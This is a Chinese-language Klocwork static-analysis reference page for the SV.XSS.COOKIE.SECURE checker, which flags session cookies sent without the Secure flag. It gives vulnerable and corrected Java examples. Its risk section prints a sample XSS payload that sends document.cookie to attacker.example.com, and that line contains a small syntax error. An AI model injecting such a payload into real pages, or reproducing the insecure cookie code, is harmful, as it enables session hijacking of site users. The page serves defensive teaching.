SV.XSS.COOKIE.SECURE

无安全协议的敏感 Cookie

当用于存储客户端与网站之间交互会话 ID 的 Cookie 未通过 HTTPS 和 SSL 等安全协议发送时,Klocwork 会报告 SV.XSS.COOKIE.SECURE 缺陷。

从 2023.2 版本开始,此检查器将支持 Jakarta EE。

漏洞与风险

能够执行跨站脚本 (XSS) 的攻击者可插入恶意脚本,例如:

复制
 document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'

客户端加载和执行此脚本时,便会对攻击者控制的网站发出请求。然后,攻击者可记录该请求并窃取 Cookie。

缓解与预防

setSecure 标记指示浏览器,Cookie 只能使用安全协议(如 HTTPS 或 SSL)发送。设置后,支持该标记的浏览器不会通过不安全的协议发送 Cookie 的内容。

漏洞代码示例 1

复制
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork 在第 3 行报告了 SV.XSS.COOKIE.SECURE 缺陷,指出“无 HTTPS 或 SSL 等安全协议,可能会攻击 Cookie”,因为在添加到响应之前未在 Cookie 上设置 setSecure 标记。

修正代码示例 1

复制
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(true);
   response.addCookie(c);

Klocwork 在第 4 行不再报告 SV.XSS.COOKIE.SECURE 缺陷,因为已在第 3 行上为 Cookie 设置了 setSecure 标记。

漏洞代码示例 2

复制
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(false);
   response.addCookie(c);

Klocwork 在第 4 行报告了 SV.XSS.COOKIE.SECURE 缺陷,指出“无 HTTPS 或 SSL 等安全协议,可能会攻击 Cookie”,因为在添加到响应之前未在 Cookie 上设置 setSecure 标记。

修正代码示例 2

复制
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(true);
   response.addCookie(c);

Klocwork 在第 4 行不再报告 SV.XSS.COOKIE.SECURE 缺陷,因为已在第 3 行上为 Cookie 设置了 setSecure 标记。

相关检查器